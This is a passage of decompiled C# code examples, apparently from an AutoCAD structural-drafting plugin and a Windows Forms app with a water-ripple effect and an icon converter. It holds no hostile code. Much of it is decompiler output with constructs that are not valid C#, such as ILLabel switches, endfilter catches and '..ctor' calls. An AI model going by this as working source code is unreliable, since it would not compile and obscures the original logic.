                    point3dCollection5.Add(minPoint);
IL_253:
                    num2 = 27;
                    Point3dCollection point3dCollection6 = point3dCollection4;
                    minPoint..ctor(entCenter.X - num3, entCenter.Y + num3, entCenter.Z);
                    point3dCollection6.Add(minPoint);
IL_282:
                    num2 = 28;
                    Point3dCollection point3dCollection7 = point3dCollection4;
                    minPoint..ctor(entCenter.X + num3, entCenter.Y + num3, entCenter.Z);
                    point3dCollection7.Add(minPoint);
IL_2B1:
                    num2 = 29;
                    Point3dCollection point3dCollection8 = point3dCollection4;
                    minPoint..ctor(entCenter.X + num3, entCenter.Y - num3, entCenter.Z);
                    point3dCollection8.Add(minPoint);
IL_2E0:
                    num2 = 30;
                    DBObjectCollection dbobjectCollection2 = 结构分析.CrossingPolygon(point3dCollection4, array3);
IL_2EE:
                    num2 = 31;
                    ObjectId objectId = dbobjectCollection2[0].ObjectId;
IL_300:
                    num2 = 32;
                    string textString = dbtext.TextString;
IL_30C:
                    num2 = 33;
                    string txt = this.GetTxt(objectId);
IL_319:
                    num2 = 34;
                    if (Operators.CompareString(textString, txt, false) == 0)
                    {
IL_32B:
                        num2 = 35;
                        Class36.smethod_64(objectId);
                    }
                    else
                    {
IL_338:
                        num2 = 37;
IL_33B:
                        num2 = 38;
                        bool flag = this.StrBiJiao(textString, txt);
IL_34A:
                        num2 = 39;
                        if (!flag)
                        {
IL_354:
                            num2 = 40;
                            this.method_1(objectId);
                        }
                        else
                        {
IL_362:
                            num2 = 42;
IL_365:
                            num2 = 43;
                            this.method_0(objectId);
                        }
                    }
IL_371:
                    num2 = 46;
                }
                if (enumerator is IDisposable)
                {
                    (enumerator as IDisposable).Dispose();
                }
IL_394:
                num2 = 47;
                Class36.smethod_74(polyline.ObjectId);
IL_3A3:
                num2 = 48;
                Class36.smethod_74(polyline2.ObjectId);
IL_3B2:
                num2 = 49;
                Interaction.MsgBox("简图对比完毕!", MsgBoxStyle.OkOnly, null);
IL_3C2:
                goto IL_4E8;
IL_3C7:
                int num4 = num5 + 1;
                num5     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num4);
IL_49F:
                goto IL_4DD;
IL_4A1:
                num5 = num2;
                if (num <= -2)
                {
                    goto IL_3C7;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_4BA :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num5 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_4A1;
            }
IL_4DD:
            throw ProjectData.CreateProjectError(-2146828237);
IL_4E8:
            if (num5 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 14
0
        private void method_3(object sender, EventArgs e)
        {
            int    num;
            int    num10;
            object obj;

            try
            {
IL_01:
                ProjectData.ClearProjectError();
                num = -2;
IL_09:
                int num2 = 2;
                this.DataGridView1.Rows.RemoveAt(this.DataGridView1.CurrentRow.Index);
IL_2B:
                num2 = 3;
                double num3 = Conversions.ToDouble(this.DataGridView1.Rows[0].Cells[2].Value);
IL_54:
                num2 = 4;
                short num4 = 1;
                short num5 = checked ((short)(this.DataGridView1.RowCount - 1));
                short num6 = num4;
                for (;;)
                {
                    short num7 = num6;
                    short num8 = num5;
                    if (num7 > num8)
                    {
                        break;
                    }
IL_6B:
                    num2 = 5;
                    short num9 = Conversions.ToShort(this.DataGridView1.Rows[(int)(checked (num6 - 1))].Cells[1].Value);
IL_98:
                    num2  = 6;
                    num3 += (double)num9 / 1000.0;
IL_AA:
                    num2 = 7;
                    this.DataGridView1.Rows[(int)num6].Cells[2].Value = Strings.Format(num3, "0.000");
IL_DE:
                    num2  = 8;
                    num6 += 1;
                }
IL_F4:
                goto IL_165;
IL_F6:
                goto IL_16F;
IL_F8:
                num10 = num2;
                if (num <= -2)
                {
                    goto IL_10F;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                goto IL_143;
IL_10F:
                int num11 = num10 + 1;
                num10     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num11);
IL_143:
                goto IL_16F;
            }
            catch when(endfilter(obj is Exception & num != 0 & num10 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_F8;
            }
IL_165:
            if (num10 != 0)
            {
                ProjectData.ClearProjectError();
            }
            return;

IL_16F:
            throw ProjectData.CreateProjectError(-2146828237);
        }
Exemplo n.º 15
0
        // Token: 0x0600004D RID: 77 RVA: 0x001CBEAC File Offset: 0x001CA2AC
        public void WaterEffectControl_Paint(object sender, PaintEventArgs e)
        {
            int    num2;
            int    num17;
            object obj;

            try
            {
IL_01:
                int num = 1;
                bool flag = Information.IsNothing(this._bmp);
                if (!flag)
                {
                    goto IL_1B;
                }
IL_15:
                goto IL_62A;
IL_1B:
                num = 4;
                Bitmap bitmap = null;
IL_20:
                ProjectData.ClearProjectError();
                num2 = -2;
IL_29:
                num    = 6;
                bitmap = (Bitmap)this._bmp.Clone();
IL_3D:
                num  = 7;
                flag = this._weHaveWaves;
                if (!flag)
                {
                    goto IL_420;
                }
IL_4F:
                num = 8;
                Bitmap     bitmap2    = bitmap;
                Rectangle  rect       = new Rectangle(0, 0, this._bmpWidth, this._bmpHeight);
                BitmapData bitmapData = bitmap2.LockBits(rect, ImageLockMode.ReadWrite, PixelFormat.Format32bppArgb);
IL_78:
                num = 9;
                byte[] array = new byte[this._bmpWidth * this._bmpHeight * 4 - 1 + 1];
IL_96:
                num = 10;
                Marshal.Copy(bitmapData.Scan0, array, 0, this._bmpWidth * this._bmpHeight * 4);
IL_B9:
                num = 11;
                int  num3 = 1;
                int  num4 = this._bmpWidth - 2;
                int  num5 = num3;
                bool flag2;
                for (;;)
                {
                    int num6 = num5;
                    int num7 = num4;
                    if (num6 > num7)
                    {
                        break;
                    }
IL_CF:
                    num = 12;
                    int num8  = 1;
                    int num9  = this._bmpHeight - 2;
                    int num10 = num8;
                    for (;;)
                    {
                        int num11 = num10;
                        num7 = num9;
                        if (num11 > num7)
                        {
                            break;
                        }
IL_E5:
                        num = 13;
                        int num12 = num5 >> this._scale;
IL_F7:
                        num = 14;
                        int num13 = num10 >> this._scale;
IL_109:
                        num  = 15;
                        flag = (num12 <= 0);
                        if (flag)
                        {
IL_11B:
                            num   = 16;
                            num12 = 1;
                        }
IL_122:
IL_123:
                        num  = 18;
                        flag = (num13 <= 0);
                        if (flag)
                        {
IL_135:
                            num   = 19;
                            num13 = 1;
                        }
IL_13C:
IL_13D:
                        num  = 21;
                        flag = (num12 >= this._waveWidth - 1);
                        if (flag)
                        {
IL_156:
                            num   = 22;
                            num12 = this._waveWidth - 2;
                        }
IL_164:
IL_165:
                        num  = 24;
                        flag = (num13 >= this._waveHeight - 1);
                        if (flag)
                        {
IL_17E:
                            num   = 25;
                            num13 = this._waveHeight - 2;
                        }
IL_18C:
IL_18D:
                        num = 27;
                        int num14 = (int)((short)(this._waves[num12 - 1, num13, this._activeBuffer] - this._waves[num12 + 1, num13, this._activeBuffer] >> 3));
IL_1C5:
                        num = 28;
                        int num15 = (int)((short)(this._waves[num12, num13 - 1, this._activeBuffer] - this._waves[num12, num13 + 1, this._activeBuffer] >> 3));
IL_1FD:
                        num  = 29;
                        flag = (num14 != 0 || num15 != 0);
                        if (flag)
                        {
IL_216:
                            num   = 30;
                            flag2 = (num5 + num14 >= this._bmpWidth - 1);
                            if (flag2)
                            {
IL_231:
                                num   = 31;
                                num14 = this._bmpWidth - num5 - 1;
                            }
IL_241:
IL_242:
                            num   = 33;
                            flag2 = (num10 + num15 >= this._bmpHeight - 1);
                            if (flag2)
                            {
IL_25D:
                                num   = 34;
                                num15 = this._bmpHeight - num10 - 1;
                            }
IL_26D:
IL_26E:
                            num   = 36;
                            flag2 = (num5 + num14 < 0);
                            if (flag2)
                            {
IL_27F:
                                num   = 37;
                                num14 = -num5;
                            }
IL_287:
IL_288:
                            num   = 39;
                            flag2 = (num10 + num15 < 0);
                            if (flag2)
                            {
IL_299:
                                num   = 40;
                                num15 = -num10;
                            }
IL_2A1:
IL_2A2:
                            num   = 42;
                            flag2 = (num14 <= 0);
                            if (flag2)
                            {
IL_2B3:
                                num   = 43;
                                num14 = 0;
                            }
IL_2B9:
                            num = 45;
                            byte b = (byte)(200 - num14);
IL_2C6:
                            num   = 46;
                            flag2 = (b < 0);
                            if (flag2)
                            {
IL_2D4:
                                num = 47;
                                b   = 0;
                            }
IL_2DA:
IL_2DB:
                            num   = 49;
                            flag2 = (b > byte.MaxValue);
                            if (flag2)
                            {
IL_2ED:
                                num = 50;
                                b   = 254;
                            }
IL_2F7:
IL_2F8:
                            num = 52;
                            array[4 * (num5 + num10 * this._bmpWidth)] = this._bmpBytes[4 * (num5 + num14 + (num10 + num15) * this._bmpWidth)];
IL_326:
                            num = 53;
                            array[4 * (num5 + num10 * this._bmpWidth) + 1] = this._bmpBytes[4 * (num5 + num14 + (num10 + num15) * this._bmpWidth) + 1];
IL_358:
                            num = 54;
                            array[4 * (num5 + num10 * this._bmpWidth) + 2] = this._bmpBytes[4 * (num5 + num14 + (num10 + num15) * this._bmpWidth) + 2];
IL_38A:
                            num = 55;
                            array[4 * (num5 + num10 * this._bmpWidth) + 3] = b;
                        }
IL_3A2:
IL_3A3:
                        num = 57;
                        num10++;
                    }
IL_3BB:
                    num   = 58;
                    flag2 = (Information.Err().Number != 0);
                    if (flag2)
                    {
                        break;
                    }
IL_3D8:
                    num = 61;
                    num5++;
                }
IL_3D6:
IL_3F0:
                num = 62;
                Marshal.Copy(array, 0, bitmapData.Scan0, this._bmpWidth * this._bmpHeight * 4);
IL_413:
                num = 63;
                bitmap.UnlockBits(bitmapData);
IL_420:
IL_421:
                num = 65;
                e.Graphics.DrawImage(bitmap, 0, 0, this.ClientRectangle.Width, this.ClientRectangle.Height);
IL_452:
                num   = 66;
                flag2 = (Information.Err().Number != 0);
                if (!flag2)
                {
                    goto IL_48A;
                }
IL_46C:
                num = 67;
                Debug.WriteLine("WaterEffectControl_Paint: " + Information.Err().Description);
IL_48A:
                num   = 69;
                flag2 = !Information.IsNothing(bitmap);
                if (!flag2)
                {
                    goto IL_4A8;
                }
IL_49D:
                num = 70;
                bitmap.Dispose();
IL_4A8:
                goto IL_62A;
IL_4B1:
                int num16 = num17 + 1;
                num17     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num16);
IL_5DD:
                goto IL_61F;
IL_5DF:
                num17 = num;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], (num2 > -2) ? num2 : 1);
                IL_5FB :;
            }
            catch when(endfilter(obj is Exception & num2 != 0 & num17 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_5DF;
            }
IL_61F:
            throw ProjectData.CreateProjectError(-2146828237);
IL_62A:
            if (num17 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 16
0
        // Token: 0x06000019 RID: 25 RVA: 0x000028A0 File Offset: 0x00000AA0
        private void Button1_Click(object sender, EventArgs e)
        {
            int    num;
            int    num4;
            object obj;

            try
            {
IL_02:
                ProjectData.ClearProjectError();
                num = -2;
IL_0A:
                int num2 = 2;
                this.LV1.Items.Clear();
IL_1C:
                num2 = 3;
                this.Panel1.Enabled = false;
IL_2A:
                num2 = 4;
                Thread thread = new Thread(new ThreadStart(this.Search));
IL_3E:
                num2 = 5;
                this.Button2.Visible = true;
IL_4C:
                num2 = 6;
                thread.IsBackground = true;
IL_55:
                num2 = 7;
                thread.Start();
IL_5D:
                num2 = 8;
                this.Panel1.Enabled = false;
IL_6B:
                goto IL_E3;
IL_6D:
                int num3 = num4 + 1;
                num4     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3);
IL_9F:
                goto IL_D8;
IL_A1:
                num4 = num2;
                if (num <= -2)
                {
                    goto IL_6D;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_B6 :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num4 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_A1;
            }
IL_D8:
            throw ProjectData.CreateProjectError(-2146828237);
IL_E3:
            if (num4 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 17
0
        // Token: 0x0600004E RID: 78 RVA: 0x001CC50C File Offset: 0x001CA90C
        private void ProcessWaves()
        {
            int    num3;
            int    num19;
            object obj;

            try
            {
IL_01:
                int num = 1;
                int num2 = (this._activeBuffer == 0) ? 1 : 0;
IL_12:
                num = 2;
                bool weHaveWaves = false;
IL_17:
                num = 3;
                bool flag = num2 < 0;
                if (!flag)
                {
                    goto IL_29;
                }
IL_24:
                num  = 4;
                num2 = 1;
IL_29:
                ProjectData.ClearProjectError();
                num3 = -2;
IL_32:
                num = 7;
                int num4 = 1;
                int num5 = this._waveWidth - 2;
                int num6 = num4;
                for (;;)
                {
                    int num7 = num6;
                    int num8 = num5;
                    if (num7 > num8)
                    {
                        break;
                    }
IL_46:
                    num = 8;
                    int num9  = 1;
                    int num10 = this._waveHeight - 2;
                    int num11 = num9;
                    for (;;)
                    {
                        int num12 = num11;
                        num8 = num10;
                        if (num12 > num8)
                        {
                            break;
                        }
IL_5A:
                        num = 9;
                        this._waves[num6, num11, num2] = (short)(this._waves[num6 - 1, num11 - 1, this._activeBuffer] + this._waves[num6, num11 - 1, this._activeBuffer] + this._waves[num6 + 1, num11 - 1, this._activeBuffer] + this._waves[num6 - 1, num11, this._activeBuffer] + this._waves[num6 + 1, num11, this._activeBuffer] + this._waves[num6 - 1, num11 + 1, this._activeBuffer] + this._waves[num6, num11 + 1, this._activeBuffer] + this._waves[num6 + 1, num11 + 1, this._activeBuffer] >> 2) - this._waves[num6, num11, num2];
IL_13D:
                        num  = 10;
                        flag = (this._waves[num6, num11, num2] != 0);
                        if (flag)
                        {
IL_15B:
                            num             = 11;
                            short[,,] waves = this._waves;
                            short[,,] array = waves;
                            int num13 = num6;
                            int num14 = num13;
                            int num15 = num11;
                            int num16 = num15;
                            int num17 = num2;
                            array[num14, num16, num17] = waves[num13, num15, num17] - (short)(this._waves[num6, num11, num2] >> 4);
IL_19D:
                            num         = 12;
                            weHaveWaves = true;
                        }
IL_1A3:
IL_1A4:
                        num  = 14;
                        flag = (Information.Err().Number != 0);
                        if (flag)
                        {
                            break;
                        }
IL_1C1:
                        num = 17;
                        num11++;
                    }
IL_1D6:
                    num  = 18;
                    flag = (Information.Err().Number != 0);
                    if (flag)
                    {
                        break;
                    }
IL_1F3:
                    num = 21;
                    num6++;
                    continue;
IL_1BF:
                    goto IL_1D6;
                }
IL_1F1:
IL_208:
                num = 22;
                this._weHaveWaves = weHaveWaves;
IL_213:
                num = 23;
                this._activeBuffer = num2;
IL_21E:
                goto IL_2E4;
IL_227:
                int num18 = num19 + 1;
                num19     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num18);
IL_297:
                goto IL_2D9;
IL_299:
                num19 = num;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], (num3 > -2) ? num3 : 1);
                IL_2B5 :;
            }
            catch when(endfilter(obj is Exception & num3 != 0 & num19 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_299;
            }
IL_2D9:
            throw ProjectData.CreateProjectError(-2146828237);
IL_2E4:
            if (num19 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 18
0
        // Token: 0x0600001D RID: 29 RVA: 0x000029A8 File Offset: 0x00000BA8
        public static bool Convert(Bitmap input_stream, Stream output_stream, bool keep_aspect_ratio = false)
        {
            int    num;
            bool   flag;
            int    num6;
            object obj;

            try
            {
IL_02:
                ProjectData.ClearProjectError();
                num = -2;
IL_0A:
                int num2 = 2;
IL_0F:
                num2 = 3;
                if (input_stream == null)
                {
                    goto IL_196;
                }
IL_1B:
                num2 = 4;
                if (!keep_aspect_ratio)
                {
                    goto IL_53;
                }
IL_20:
                num2 = 5;
                int num3 = 48;
IL_26:
                num2 = 6;
                checked
                {
                    int num4 = (int)Math.Round(Math.Round(unchecked ((double)input_stream.Height / (double)input_stream.Width * 48.0)));
                    goto IL_60;
IL_53:
                    num2 = 8;
                    num3 = Form1.InlineAssignHelper <int>(ref num4, 48);
IL_60:
                    num2 = 10;
                    Size newSize = new Size(num3, num4);
IL_6E:
                    num2 = 11;
                    Bitmap bitmap = new Bitmap(input_stream, newSize);
IL_7C:
                    num2 = 12;
                    if (bitmap == null)
                    {
                        goto IL_18F;
                    }
IL_89:
                    num2 = 13;
                    MemoryStream memoryStream = new MemoryStream();
IL_93:
                    num2 = 14;
                    bitmap.Save(memoryStream, ImageFormat.Png);
IL_A4:
                    num2 = 15;
                    BinaryWriter binaryWriter = new BinaryWriter(output_stream);
IL_AF:
                    num2 = 16;
                    if (output_stream == null || binaryWriter == null)
                    {
                        goto IL_18F;
                    }
IL_C2:
                    num2 = 17;
                    binaryWriter.Write(0);
IL_CD:
                    num2 = 18;
                    binaryWriter.Write(0);
IL_D8:
                    num2 = 19;
                    binaryWriter.Write(1);
IL_E3:
                    num2 = 20;
                    binaryWriter.Write(1);
IL_EE:
                    num2 = 21;
                    binaryWriter.Write((byte)num3);
IL_FB:
                    num2 = 22;
                    binaryWriter.Write((byte)num4);
IL_108:
                    num2 = 23;
                    binaryWriter.Write(0);
IL_113:
                    num2 = 24;
                    binaryWriter.Write(0);
IL_11E:
                    num2 = 25;
                    binaryWriter.Write(0);
IL_129:
                    num2 = 26;
                    binaryWriter.Write(32);
IL_135:
                    num2 = 27;
                    binaryWriter.Write((int)memoryStream.Length);
IL_147:
                    num2 = 28;
                    binaryWriter.Write(22);
IL_153:
                    num2 = 29;
                    binaryWriter.Write(memoryStream.ToArray());
IL_164:
                    num2 = 30;
                    binaryWriter.Flush();
IL_16E:
                    num2 = 31;
                    binaryWriter.Close();
IL_178:
                    num2 = 32;
                    Interaction.MsgBox("Masaüstü'nüze Klasor Oluşturuldu ( İçine Kaydediliyor Resimler !!! )", MsgBoxStyle.OkOnly, null);
IL_188:
                    num2 = 33;
                    flag = true;
                    goto IL_19B;
IL_18F:
                    num2 = 36;
                    flag = false;
                    goto IL_19B;
IL_196:
                    num2 = 38;
                    flag = false;
IL_19B:
                    goto IL_291;
                    IL_1A0 :;
                }
                int num5 = num6 + 1;
                num6 = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num5);
IL_24A:
                goto IL_286;
IL_24C:
                num6 = num2;
                if (num <= -2)
                {
                    goto IL_1A0;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_264 :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num6 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_24C;
            }
IL_286:
            throw ProjectData.CreateProjectError(-2146828237);
IL_291:
            if (num6 != 0)
            {
                ProjectData.ClearProjectError();
            }
            return(flag);
        }
Exemplo n.º 19
0
        // Token: 0x06000050 RID: 80 RVA: 0x001CCA38 File Offset: 0x001CAE38
        private void WaterEffectControl_MouseMove(object sender, MouseEventArgs e)
        {
            int    num;
            int    num4;
            object obj;

            try
            {
IL_01:
                ProjectData.ClearProjectError();
                num = -2;
IL_09:
                int num2 = 2;
                bool flag = !this.__IsBusy;
                if (!flag)
                {
                    goto IL_A0;
                }
IL_1E:
                num2 = 3;
                int x = (int)Math.Round((double)e.X / (double)this.ClientRectangle.Width * (double)this._waveWidth);
IL_47:
                num2 = 4;
                int y = (int)Math.Round((double)e.Y / (double)this.ClientRectangle.Height * (double)this._waveHeight);
IL_70:
                num2 = 5;
                flag = (Information.Err().Number != 0);
                if (!flag)
                {
                    goto IL_8F;
                }
IL_89:
                goto IL_15C;
IL_8F:
                num2 = 8;
                this.PutDrop(x, y, 200);
IL_A0:
IL_A1:
                num2 = 10;
                flag = !this.tmrBalance.Enabled;
                if (!flag)
                {
                    goto IL_C9;
                }
IL_B9:
                num2 = 11;
                this.tmrBalance.Start();
IL_C9:
                goto IL_15C;
IL_D2:
                int num3 = num4 + 1;
                num4     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3);
IL_112:
                goto IL_151;
IL_114:
                num4 = num2;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], (num > -2) ? num : 1);
                IL_12E :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num4 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_114;
            }
IL_151:
            throw ProjectData.CreateProjectError(-2146828237);
IL_15C:
            if (num4 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 20
0
        protected override SamplerStatus Sampler(JigPrompts prompts)
        {
            int           num;
            SamplerStatus samplerStatus;
            int           num3;
            object        obj;

            try
            {
                ProjectData.ClearProjectError();
                num = 2;
                PromptPointResult promptPointResult = prompts.AcquirePoint(new JigPromptPointOptions("\r\n请指定下一点:")
                {
                    Cursor       = 2,
                    BasePoint    = this.point3d_0,
                    UseBasePoint = true
                });
                Point3d value = promptPointResult.Value;
                if (value != this.point3d_1)
                {
                    checked
                    {
                        if (this.bool_0)
                        {
                            this.double_0 = value.DistanceTo(this.point3d_0);
                            this.short_0  = (short)Math.Round(this.double_0 / 6.0);
                            this.double_2 = value.GetVectorTo(this.point3d_0).AngleOnPlane(new Plane());
                            this.point2d_0..ctor(this.point3d_0.X, this.point3d_0.Y);
                            this.jipAtgRsh..ctor(value.X, value.Y);
                        }
                        else
                        {
                            this.short_0 = (short)Math.Round(value.DistanceTo(this.point3d_0));
                            if ((double)this.short_0 >= this.double_0)
                            {
                                this.short_0 = (short)Math.Round(this.double_0);
                            }
                            else if ((double)this.short_0 <= this.double_0 / 6.0)
                            {
                                this.short_0 = (short)Math.Round(this.double_0 / 6.0);
                            }
                        }
                    }
                    Point2d point2dAngle  = CAD.GetPoint2dAngle(this.jipAtgRsh, (double)this.short_0 / 6.0, this.double_2 * 180.0 / 3.1415926535897931 - 90.0 + 45.0);
                    Point2d point2dAngle2 = CAD.GetPoint2dAngle(this.jipAtgRsh, (double)this.short_0 / 3.0, this.double_2 * 180.0 / 3.1415926535897931 - 90.0 + 45.0);
                    Point2d point2dAngle3 = CAD.GetPoint2dAngle(this.jipAtgRsh, (double)this.short_0 / 3.0, this.double_2 * 180.0 / 3.1415926535897931 + 180.0 + 45.0);
                    Point2d point2dAngle4 = CAD.GetPoint2dAngle(this.jipAtgRsh, (double)this.short_0 / 3.0, this.double_2 * 180.0 / 3.1415926535897931 + 90.0 + 45.0);
                    Point2d point2dAngle5 = CAD.GetPoint2dAngle(this.jipAtgRsh, (double)this.short_0 / 6.0, this.double_2 * 180.0 / 3.1415926535897931 + 90.0 + 45.0);
                    this.polyline_0 = new Polyline();
                    double num2 = Math.Tan(0.78539816339744828) / 4.0;
                    this.polyline_0.AddVertexAt(0, this.point2d_0, num2, 0.0, 0.0);
                    this.polyline_0.AddVertexAt(1, point2dAngle, 0.0, 0.0, 0.0);
                    this.polyline_0.AddVertexAt(2, point2dAngle2, 0.0, 0.0, 0.0);
                    this.polyline_0.AddVertexAt(3, point2dAngle3, 0.0, 0.0, 0.0);
                    this.polyline_0.AddVertexAt(4, point2dAngle4, 0.0, 0.0, 0.0);
                    this.polyline_0.AddVertexAt(5, point2dAngle5, -num2, 0.0, 0.0);
                    this.polyline_0.Closed = true;
                    this.polyline_0.Layer  = "注释";
                    this.entity_0[0]       = this.polyline_0;
                    this.point3d_1         = value;
                    samplerStatus          = 0;
                    goto IL_470;
                }
                samplerStatus = 1;
                goto IL_470;
IL_428:
                samplerStatus = 1;
                goto IL_470;
IL_42D:
                num3 = -1;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_442 :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num3 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_42D;
            }
            throw ProjectData.CreateProjectError(-2146828237);
IL_470:
            SamplerStatus result = samplerStatus;

            if (num3 != 0)
            {
                ProjectData.ClearProjectError();
            }
            return(result);
        }
Exemplo n.º 21
0
        public void TcLiangZhuLaJin()
        {
            int    num;
            int    num4;
            object obj;

            try
            {
IL_01:
                ProjectData.ClearProjectError();
                num = -2;
IL_09:
                int num2 = 2;
                Document mdiActiveDocument = Application.DocumentManager.MdiActiveDocument;
IL_16:
                num2 = 3;
                Database database = mdiActiveDocument.Database;
IL_1F:
                num2 = 4;
                using (Transaction transaction = database.TransactionManager.StartTransaction())
                {
                    TypedValue[] array  = new TypedValue[1];
                    Array        array2 = array;
                    TypedValue   typedValue;
                    typedValue..ctor(0, "LWPOLYLINE");
                    array2.SetValue(typedValue, 0);
                    SelectionFilter       selectionFilter = new SelectionFilter(array);
                    PromptSelectionResult selection       = mdiActiveDocument.Editor.GetSelection(selectionFilter);
                    if (selection.Status == 5100)
                    {
                        SelectionSet value    = selection.Value;
                        Entity       e        = (Entity)transaction.GetObject(value[0].ObjectId, 0);
                        Entity       e2       = (Entity)transaction.GetObject(value[checked (value.Count - 1)].ObjectId, 0);
                        Point3d      point3d  = CAD.GetEntCenter(e);
                        Point3d      point3d2 = CAD.GetEntCenter(e2);
                        if (point3d.X > point3d2.X)
                        {
                            Point3d point3d3 = point3d;
                            point3d  = point3d2;
                            point3d2 = point3d3;
                        }
                        else if (point3d.X == point3d2.X & point3d.Y > point3d2.Y)
                        {
                            Point3d point3d4 = point3d;
                            point3d  = point3d2;
                            point3d2 = point3d4;
                        }
                        if (Class36.double_0 == 0.0)
                        {
                            Class36.double_0 = 5.0;
                        }
                        Class36.smethod_8(point3d, point3d2, Class36.double_0);
                    }
                    transaction.Commit();
                }
IL_177:
                num2 = 6;
                if (Information.Err().Number <= 0)
                {
                    goto IL_19C;
                }
IL_188:
                num2 = 7;
                Interaction.MsgBox(Information.Err().Description, MsgBoxStyle.OkOnly, null);
IL_19C:
                goto IL_218;
IL_19E:
                int num3 = num4 + 1;
                num4     = 0;
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3);
IL_1D2:
                goto IL_20D;
IL_1D4:
                num4 = num2;
                if (num <= -2)
                {
                    goto IL_19E;
                }
                @switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
                IL_1EA :;
            }
            catch when(endfilter(obj is Exception & num != 0 & num4 == 0))
            {
                Exception ex = (Exception)obj2;

                goto IL_1D4;
            }
IL_20D:
            throw ProjectData.CreateProjectError(-2146828237);
IL_218:
            if (num4 != 0)
            {
                ProjectData.ClearProjectError();
            }
        }
Exemplo n.º 22
0
        public void TcWuMian()
        {
            int    num;
            int    num18;
            object obj;

            try
            {
IL_01:
                ProjectData.ClearProjectError();
                num = -2;
IL_09:
                int num2 = 2;
                long[] array = null;
IL_0D:
                num2 = 3;
                Document mdiActiveDocument = Application.DocumentManager.MdiActiveDocument;
IL_1A:
                num2 = 4;
                Database database = mdiActiveDocument.Database;
IL_24:
                num2 = 5;
                using (Transaction transaction = database.TransactionManager.StartTransaction())
                {
                    TypedValue[] array2 = new TypedValue[1];
                    Array        array3 = array2;
                    TypedValue   typedValue;
                    typedValue..ctor(0, "TEXT");
                    array3.SetValue(typedValue, 0);
                    SelectionFilter selectionFilter = new SelectionFilter(array2);
                    Class36.smethod_60("请按照顺序选择>");
                    PromptSelectionResult selection = mdiActiveDocument.Editor.GetSelection(selectionFilter);
                    short     num3;
                    double    num9;
                    Point3d[] array4;
                    short     num15;
                    checked
                    {
                        short num6;
                        if (selection.Status == 5100)
                        {
                            SelectionSet value = selection.Value;
                            num3  = (short)(value.Count - 1);
                            array = new long[(int)(num3 + 1)];
                            short num4 = 0;
                            short num5 = num3;
                            num6 = num4;
                            for (;;)
                            {
                                short num7 = num6;
                                short num8 = num5;
                                if (num7 > num8)
                                {
                                    break;
                                }
                                DBText dbtext = (DBText)transaction.GetObject(value[(int)num6].ObjectId, 1);
                                array[(int)num6] = (long)Math.Round(Conversion.Val(dbtext.TextString));
                                unchecked
                                {
                                    num6 += 1;
                                }
                            }
                        }
                        num9      = Class36.smethod_30("请输入跨度(默认6000):", 6000.0);
                        array4    = new Point3d[(int)(num3 + 1)];
                        array4[0] = CAD.GetPoint("选择插入点: ");
                        Point3d point3d;
                        if (array4[0] == point3d)
                        {
                            goto IL_5A1;
                        }
                        short num10 = 0;
                        short num11 = (short)(Information.UBound(array, 1) - 1);
                        num6 = num10;
                        Point3d pointAngle;
                        for (;;)
                        {
                            short num12 = num6;
                            short num8  = num11;
                            if (num12 > num8)
                            {
                                break;
                            }
                            pointAngle = CAD.GetPointAngle(array4[(int)num6], num9, 0.0);
                            CAD.AddLine(array4[(int)num6], pointAngle, "0");
                            array4[(int)(num6 + 1)] = CAD.GetPointAngle(array4[(int)num6], (double)array[(int)num6], 270.0);
                            unchecked
                            {
                                num6 += 1;
                            }
                        }
                        pointAngle = CAD.GetPointAngle(array4[(int)num6], num9, 0.0);
                        CAD.AddLine(array4[(int)num6], pointAngle, "0");
                        Point3d[] array5 = new Point3d[4];
                        Point3d[] array6 = new Point3d[4];
                        pointAngle = CAD.GetPointAngle(array4[0], num9, 0.0);
                        array5[0]  = CAD.GetPointAngle(array4[0], 200.0, 45.0);
                        array5[1]  = CAD.GetPointAngle(array4[0], 200.0, 315.0);
                        array6[0]  = CAD.GetPointAngle(pointAngle, 200.0, 135.0);
                        array6[1]  = CAD.GetPointAngle(pointAngle, 200.0, 225.0);
                        pointAngle = CAD.GetPointAngle(array4[1], num9, 0.0);
                        Point3d p = Class36.smethod_46(array4[1], pointAngle);
                        array5[2] = CAD.GetPointAngle(p, 200.0, 135.0);
                        array5[3] = CAD.GetPointAngle(p, 200.0, 225.0);
                        array6[2] = CAD.GetPointAngle(p, 200.0, 45.0);
                        array6[3] = CAD.GetPointAngle(p, 200.0, 315.0);
